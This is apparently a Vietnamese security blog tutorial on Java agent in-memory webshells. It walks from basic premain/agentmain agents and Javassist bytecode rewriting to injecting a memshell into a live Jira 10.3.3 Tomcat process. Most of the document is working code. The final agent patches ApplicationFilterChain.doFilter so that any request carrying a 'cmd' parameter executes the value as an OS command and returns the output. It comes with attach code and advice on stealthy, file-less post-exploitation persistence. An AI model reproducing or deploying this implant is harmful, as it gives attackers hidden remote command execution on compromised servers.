Java Agent Memshell - Demo inject memshell in Jira

Cũng lâu rồi không nghiên cứu gì nên bài này chủ yếu mình note lại về phương pháp triển khai memshell với Java Agent. Khác với các cách đã nêu trước đó (có thể dùng để init access và post-exploit) thì với java agent thiên về post-exploit nhiều hơn. Ví dụ ta đã compromised được server có 1 con webapp nhưng con này không thể nào triển khai memshell qua file jsp hay không có bug gì để triển khai, thì dùng Java agent là một giải pháp hoàn hảo để cắm shell persistent.

1. Java agent là gì ?

Java agent là một công nghệ/tính năng cho phép modify byte code của class đã load (hoặc chưa load) mà không làm ảnh hưởng đến quá trình complie code. Có 2 loại java agent là:

  • premain-Agent: Đúng như tên gọi thì agent sẽ được gọi trước khi start hàm và trước cả khi start JVM

  • agentmain-Agent: Agent sẽ được gọi sau khi đã start JVM

A. Ví dụ premain-Agent

Để minh họa mình tạo 1 Maven project với đoạn code sau

package com.example;

import java.lang.instrument.Instrumentation;

public class JavaAgentPremain {
    public static void premain(String args, Instrumentation inst) {
        System.out.println("Hello from premain");
    }
}

Hàm premain sẽ được gọi khi premain-Agent được load. Để sử dụng được agent thì ta cần build thành file jar. Nhưng trước khi build ta phải khai báo trong resources/META-INF/MANIFEST.MF nội dung như sau:

Manifest-Version: 1.0
Premain-Class: com.example.JavaAgentPremain

Sau khi build thành file jar, mình sẽ tiến hành load agent vào chương trình chính. Đầu tiên tạo 1 chương trình chính như sau

public class Test {
    public static void main(String[] args) {
        System.out.println("Hello from Main");
    }
}

Khi chạy chương trình chính ta thêm options -javaagent:"path_to_jar_file.jar"

Ta sẽ thấy code trong hàm premain sẽ thực thi trước hàm main. Nhìn vào cơ chế này ta sẽ biết được hạn chế lớn nhất của premain-agent là phải start chung với chương trình chính, do đó nếu triển khai memshell theo hướng này ta phải restart lại toàn bộ web thì memshell mới được inject. Vì hạn chế như vậy nên thông thường memshell được inject với agentmain-Agent

B. Ví dụ agentmain-Agent

Vì agentmain-Agent được load sau khi JVM start, nên ta sẽ dùng một số hàm đặt biệt để tương tác với JVM.

Ví dụ mình có đoạn code sau:

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class GetJVM {
    public static void main(String[] args) {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){
            System.out.println(vmd.displayName() + " running with PID " + vmd.id());
        }

    }
}

Đoạn code trên sẽ lấy ra danh sách JVM bằng VirtualMachine.list() sau đó loop từng JVM và print ra process name + process ID

Kết quả khi chạy

Từ đây nếu muốn attach agent vào process nào ta chỉ cần filter theo tên process đó. Ví dụ mình có chương trình chính như sau

import java.util.Scanner;

public class Test {
    public static void main(String[] args) {
        System.out.println("Hello from Main");
        new Scanner(System.in).nextLine(); // Prevent application auto stop
    }
}

Tiếp theo mình tạo agentmain-Agent như sau

package com.example;

import java.lang.instrument.Instrumentation;

public class JavaAgentMain {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
        System.out.println("Hello from main agent");
    }
}

Thay đổi file MANIFEST.MF thành như sau và build thành file jar:

Manifest-Version: 1.0
Agent-Class: com.example.JavaAgentMain

Dùng đoạn code sau để attach agent vào chương trình chính

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;
public class AttachAgent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){
            if(vmd.displayName().equals("Test")){
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent("D:\\Labs\\Learn\\JavaSecLearn\\JavaAgent\\JavaAgent\\out\\artifacts\\JavaAgent_jar\\JavaAgent.jar");
                virtualMachine.detach();
            }
        }
    }
}

Khi chạy đoạn code trên ta sẽ thấy Hello from main agent được print ra tại chương trình chính

Lợi dụng việc này ta có thể inject memshell trực tiếp vào Runtime.

2. Giới thiệu Instrumentation

Để có thể modified được các class trong chương trình chính thì JVMTIAgent (JVM Tool Interface Agent) cung cấp cho chúng ta 1 interface cho phép giao tiếp với các class của target JVM. Interface này được gọi là Instrumentation

Ví dụ ta có thể lấy được tên các class của target JVM và check xem có modifed được không bằng đoạn code sau:

package com.example;

import java.lang.instrument.Instrumentation;

public class InstrumentationTest {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
        Class [] classes = inst.getAllLoadedClasses();
        for(Class cls : classes){
            System.out.println("------------------------------------------");
            System.out.println("Class name: "+cls.getName());
            System.out.println("Is modifiable: "+inst.isModifiableClass(cls));
        }
    }
}

Kết quả khi attach agent:

Để modified được bytes code của class trong target JVM ta sẽ dùng method addTransformer của Instrumentation add 1 malicious Transformer, class malicious Transformer này sẽ overide method tranform. Method tranform sẽ được gọi trong quá trình attach agent để replace byte code của class trong target JVM. (https://docs.oracle.com/javase/8/docs/api/java/lang/instrument/ClassFileTransformer.html)

Ví dụ mình thay đổi code chương trình chính thành như sau:

import static java.lang.Thread.sleep;

public class Test {
    public static void main(String[] args) throws InterruptedException {
        System.out.println("Hello from Main");
        while (true) {
            testMethod();
            sleep(5000);
        }
    }

    public static void testMethod(){
        System.out.println("Method from test");
    }
}

Mình có đoạn code sau để triển khai Instrumentation với agentmain-Agent

package com.example;

import java.lang.instrument.Instrumentation;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
public class InstrumentationTest {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
        Class [] classes = inst.getAllLoadedClasses();
        for(Class cls : classes){
            if (cls.getName().equals("Test")){
                inst.addTransformer(new TestTransform(),true);
                inst.retransformClasses(cls);
            }
        }
    }

    public static class TestTransform implements ClassFileTransformer {
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            try {
                ClassPool classPool = ClassPool.getDefault();
                if (classBeingRedefined != null) {
                    ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                    classPool.insertClassPath(ccp);
                }
                CtClass ctClass = classPool.get("Test");
                CtMethod ctMethod = ctClass.getDeclaredMethod("testMethod");
                String body = "{System.out.println(\"Hacker!\");}";
                ctMethod.setBody(body);
                byte[] bytes = ctClass.toBytecode();
                return bytes;
            }catch (Exception e){
                e.printStackTrace();
            }
            return null;
        }
    }
}

Ta sẽ dùng Javassist để modified byte code method testMethod của chương trình chính

Lưu ý: Đối với Java 8 trở xuống thì IntelliJ không tự động load được lib liên quan đến việc handle Instrumentation, do đó ta phải tự add vào project như libary 1 cách thủ công. Lib liên quan đến Instrumentation nằm trong thư mục C:\Program Files\Java\<jdk8_version>\lib\tools.jar

Môi trường demo hiện tại của mình là JDK17 nên không lo về vấn đề trên. Tuy nhiên vì ta dùng lib Javassist để load bytes, nên khi build agent jar file ta phải add thêm thư viện này vào jar file. Nếu không khi attach sẽ bị lỗi Class not found như dưới đây

Ta sẽ thêm lib Javassist vào build jar bằng cách add extracted directory như sau

Sau đó chỉnh sửa file MANIFEST.MF thành như sau để enable modified cho agent.

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: com.example.InstrumentationTest

Khi ta attach agent vào chương trình chính, ta có thể thay đổi được bytecode của testMethod theo ý muốn

3. Triển khai memshell Tomcat trong Jira

A. Prepare

Tiếp theo ta sẽ bắt đầu inject memshell trong Tomcat bằng những gì đã tìm hiểu ở trên.

Như đã mình đã nói ở bài trước, ta có thể triển khai memshell trong Tomcat qua Filter thông qua method org.apache.catalina.core.ApplicationFilterChain#doFilter (Link bài trước) . Đối với phương pháp dùng Java agent, thì ta sẽ modified luôn method doFilter để chèn memshell

Để cho chân thực thì mình sẽ demo inject agent memshell vào web Jira.

Các bước setup Jira thì rất dễ nên mình không nói đến, mình sẽ nói một chút về lý do tại sao trong Jira thì nếu muốn có shell persistent ta phải dùng memshell.

Từ phiên bản Jira 10.x trở đi thì ta không thể truy cập trực tiếp vào file JSP để thực thi code được nữa, mà các file JSP sẽ được build thành class trong quá trình complie, chỉ còn file login.jsplogout.jsp có thể truy cập trực tiếp. Nếu muốn custom JSP ta phải thêm config vào action.xml và restart lại Jira (tham khảo: https://developer.atlassian.com/server/jira/platform/jira-templates-and-jsps/). Do đó cần phải có 1 phương pháp khác để cắm shell persistent mà không cần restart lại service.

Trên mạng thì có 1 phương pháp sử dụng malicous plugins -> upload lên -> assign malicious Servlet -> shell (tham khảo: https://github.com/dubfr33/atlassian-webshell-plugin). Tuy nhiên tính năng upload plugins đã bị disable mặc định ở các phiên bản Jira 9.x+ (nguồn), muốn enable thì cũng phải restart lại Jira. Do đó sử dụng phương pháp Java agent để cắm memshell persistent là hợp lý và ít noise nhất.

Điều kiện để triển khai Java agent memshell đối với Jira là phải có quyền root hoặc quyền nào đó có thể attach được vào process JVM của jira.

B. Inject memshell

Phiên bản Jira mình dùng để demo là bản 10.3.3 (bản supported release mới nhất hiện tại)

Đầu tiên ta sẽ thử chạy code list proccess JVM đang chạy

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class GetJVM {
    public static void main(String[] args) {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){
            System.out.println(vmd.displayName() + " running with PID " + vmd.id());
        }
    }
}

Với phiên bản Jira 10.3.3 dùng java 17 nên mình sẽ build đoạn code trên với JDK17 và run ở máy server. Kết quả khi chạy code:

Nguyên nhân của lỗi trên vì Java cài trên server là JRE chứ không phải JDK nên không thể load được lib. Để khắc phục ta có thể cài JDK trên máy server rồi chạy bình thường

Với Java version <8 ta có thể inject trực tiếp vào JRE luôn bằng cách upload file tools.jar lên server rồi dùng URLClassLoader để load tools.jar và dùng reflection để gọi để các method và class trong com.sun.tools.attach. Tuy nhiên với JRE version cao hơn mình không thực hiện được việc tương tự, mình có thể extract được jdk.attach từ JDK để load com.sun.tools.attach vào JRE, mình có thể load được class nhưng khi gọi method thì không get được process target JVM -> không rõ nguyên nhân. Mình note lại cách extract jdk.attach để research thêm

/usr/lib/jvm/java-17-openjdk-amd64/bin/jmod extract --dir /tmp/jdk-attach /usr/lib/jvm/java-17-openjdk-amd64/jmods/jdk.attach.jmod
cd /tmp/
cd /tmp/jdk-attach/classes
jar cf ../jdk-attach.jar .

Sau khi cài JDK và run đoạn code trên, ta sẽ thấy Jira được chạy bằng catalina với process id là 3490

Để check là Jira có thật sự load org.apache.catalina.core.ApplicationFilterChain hay không mình sẽ attach agent có đoạn code sau

package com.example;

import java.lang.instrument.Instrumentation;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
public class InstrumentationTest {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {

        Class [] classes = inst.getAllLoadedClasses();
        for(Class cls : classes){
            if(cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
                System.out.println("------------------------------------------");
                System.out.println("Class name: "+cls.getName());
                System.out.println("Is modifiable: "+inst.isModifiableClass(cls));
            }
        }
    }
}

Sau khi build xong upload agent lên server và load agent bằng đoạn code sau

import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class AttachAgent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){
            System.out.println(vmd.displayName());
            if(vmd.displayName().contains("org.apache.catalina.startup.Bootstrap")){
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent("/tmp/JavaAgent.jar");
                virtualMachine.detach();
            }
        }
    }
}

Kết quả

Chạy code attach agent
Log catalina khi attach agent thành công

Mình sẽ dùng đoạn code agent này để inject memshell vào org.apache.catalina.core.ApplicationFilterChain

package com.example;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;

public class InjectMemshell {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
        Class [] classes = inst.getAllLoadedClasses();
        for(Class cls : classes){
            if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
                inst.addTransformer(new InjectTransform(),true);
                inst.retransformClasses(cls);
            }
        }
    }

    public static class InjectTransform implements ClassFileTransformer {
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            try {
                ClassPool classPool = ClassPool.getDefault();

                if (classBeingRedefined != null) {
                    ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                    classPool.insertClassPath(ccp);
                }
                CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
                CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

                String body = " javax.servlet.ServletRequest req = request;\n" +
                        "            javax.servlet.ServletResponse res = response;" +
                        "String cmd = req.getParameter(\"cmd\");\n" +
                        "if (cmd != null) {\n" +
                        "Process process = Runtime.getRuntime().exec(cmd);\n" +
                        "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" +
                        "new java.io.InputStreamReader(process.getInputStream()));\n" +
                        "StringBuilder stringBuilder = new StringBuilder();\n" +
                        "String line;\n" +
                        "while ((line = bufferedReader.readLine()) != null) {\n" +
                        "stringBuilder.append(line + '\\n');\n" +
                        "}\n" +
                        "res.getOutputStream().write(stringBuilder.toString().getBytes());\n" +
                        "res.getOutputStream().flush();\n" +
                        "res.getOutputStream().close();\n" +
                        "}";
                ctMethod.insertBefore(body);

                byte[] bytes = ctClass.toBytecode();
                return bytes;

            }catch (Exception e){
                e.printStackTrace();
            }
            return null;
        }
    }
}

Lưu ý mỗi lần load agent sẽ cache lại filename, nên ta phải đổi tên file jar để agent inject memshell được load

Build agent thành file jar load vào target JVM bằng đoạn code sau

import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class AttachAgent {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){
            System.out.println(vmd.displayName());
            if(vmd.displayName().contains("org.apache.catalina.startup.Bootstrap")){
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent("/tmp/AgenInjectMem.jar");
                virtualMachine.detach();
            }
        }
    }
}

Khi attach thành công thì Jira vẫn hoạt động bình thường khi truy cập

Nhưng nếu thêm parameter cmd thì memshell sẽ được thực thi

Tóm lại đây là 1 cách cắm shell persistent khá hay khi không cần phải perist file trên server, chỉ cần upload file exploit, load xong rồi xóa file. Vì là memshell nên chỉ bị xóa khi restart lại service -> tính ẩn mình cao. Tuy nhiên thiếu 1 chút nữa là cách này sẽ rất hoàn hảo vì với Jira dùng java 17 thì ta phải cài thêm JDK17 trên server mới có thể inject được memshell, đối với các web dùng java bản thấp < 8 thì ta có thể trực tiếp inject vào JRE luôn. Việc cài đặt thêm JDK vào server dẫn đến việc dễ bị detect hơn, không còn ẩn mình tuyệt đối 😥(mình sẽ cố gắng research thêm cách inject vào JRE version cao)

4. Refer

Last updated